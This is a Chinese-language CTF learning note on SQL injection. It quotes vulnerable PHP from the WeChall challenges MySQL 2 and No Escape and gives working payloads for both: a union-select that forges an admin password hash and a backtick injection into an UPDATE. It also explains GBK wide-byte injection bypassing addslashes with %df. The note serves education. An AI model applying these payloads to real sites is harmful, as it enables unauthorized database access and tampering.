看代码, 理解题目意思, 看writeup, 积累.
一. Wechall - MySQL 2
源码:
$db = auth2_db();
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
#############################
### This is the new check ###
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} # End of the new code ###
#############################
拿Username去获取结果, 将获得的password与输入的password的md5值进行比较
Username:
' union select 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'#
Password=:
1
其中md5(1) == c4ca4238a0b923820dcc509a6f75849b
二. Wechall - No Escape
(1) 源码
按模块来看
- 连接数据库的函数
- 创建数据库的函数
- 重置函数, 将票数置为初始值
- 主题判断函数
- 票数增一函数
- stop100()函数, 如果票数为111则执行solved(), 如果票数为100则重置
- html表单
- solved()函数
按流程来看
- 点击vote按钮后, 调用noesc_voteup()
- noesc_voteup()中, 执行update操作后, 调用noesc_stop100()
- noesc_stop100(), 先检查票数是否为111, 若是则通过. 接着检查票数是否大于等于100, 若是则清零.
解题
源码中的关键
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
$who没有经过任何过滤.
构造:
index.php?vote_for=bill`=111-- `
即可.
三. 宽字节注入
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
addslashes函数, 用于将$id的值转义.
addslashes函数产生的效果就是,让'变成\', 让引号变得不再是”单引号”, 只是一撇而已。一般绕过方式就是,想办法处理\'前面的\:
- 想办法给
\前面再加一个\, 变成\\', 这样\被转义了,'逃出了限制 - 想办法把
\弄没有。
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围).
mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如
%aa%5c就是一个汉字(前一个ascii 码大于128 才能到汉字的范围)
所以输入%df'时会报错了。我们看到报错,说明sql语句出错,看到出错说明可以注入.
报错的原因就是多了一个单引号, 而单引号前面的反斜杠不见了。
这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字運',而‘`逃逸了出来。
不使用%df也行, 只要ascii码大于128,基本上就可以了. 比如用%a1也可以.